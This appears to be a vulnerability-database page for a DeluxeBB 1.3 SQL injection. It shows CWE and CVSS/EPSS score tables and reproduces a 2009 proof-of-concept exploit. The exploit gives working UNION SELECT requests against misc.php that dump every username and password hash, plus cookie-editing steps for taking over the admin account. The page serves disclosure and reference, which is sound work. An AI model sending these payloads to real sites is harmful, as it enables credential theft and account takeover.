CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
SQL injection vulnerability in misc.php in DeluxeBB 1.3 and earlier allows remote attackers to execute arbitrary SQL commands via the qorder parameter, a different vector than CVE-2005-2989 and CVE-2006-2503.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.21%
–
–
2022-03-27
–
–
1.21%
–
–
2022-04-03
–
–
1.21%
–
–
2022-05-08
–
–
1.21%
–
–
2022-08-28
–
–
1.21%
–
–
2023-02-26
–
–
1.21%
–
–
2023-03-12
–
–
–
0.2%
–
2023-03-19
–
–
–
0.2%
–
2023-08-20
–
–
–
0.2%
–
2024-02-11
–
–
–
0.2%
–
2024-03-03
–
–
–
0.2%
–
2024-06-02
–
–
–
0.2%
–
2024-06-23
–
–
–
0.2%
–
2024-08-04
–
–
–
0.2%
–
2024-08-11
–
–
–
0.2%
–
2024-09-22
–
–
–
0.2%
–
2024-10-27
–
–
–
0.2%
–
2024-12-22
–
–
–
0.27%
–
2025-01-19
–
–
–
0.27%
–
2025-01-19
–
–
–
0.27%
–
2025-03-18
–
–
–
–
0.51%
2025-03-30
–
–
–
–
0.51%
2025-04-06
–
–
–
–
0.51%
2025-04-15
–
–
–
–
0.51%
2025-04-15
–
–
–
–
0.51,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
# Author: girex
# Homepage: girex.altervista.org
# Date: 18/03/2009
# CMS: DeluxeBB 1.3 and prior
# site: deluxebb.com
# NOTE: - Works regardless of php.ini settings
- This SQL injection will shows you username and md5
of ALL registered users of the site.
- This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
----------------------------------------------------------------------------------------
# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes
# turned Off too.
# file: misc.php lines: 461-464
if($order == "name") { $qorder = "ORDER BY username"; }
if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
if($order == "posts") { $qorder = "ORDER BY posts"; }
if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }
# This sequence of if does not provide an else..
# file: misc.php line: 490
$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." <==
".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);
# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.
----------------------------------------------------------------------------------------
# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.
GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1
----------------------------------------------------------------------------------------
# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.
GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1
----------------------------------------------------------------------------------------
# NOTE: to get admin's access edit your cookies:
# memberid => victim's id
# membercookie => victim's username
# memberpw => victim's md5
----------------------------------------------------------------------------------------
girex
# milw0rm.com [2009-03-18]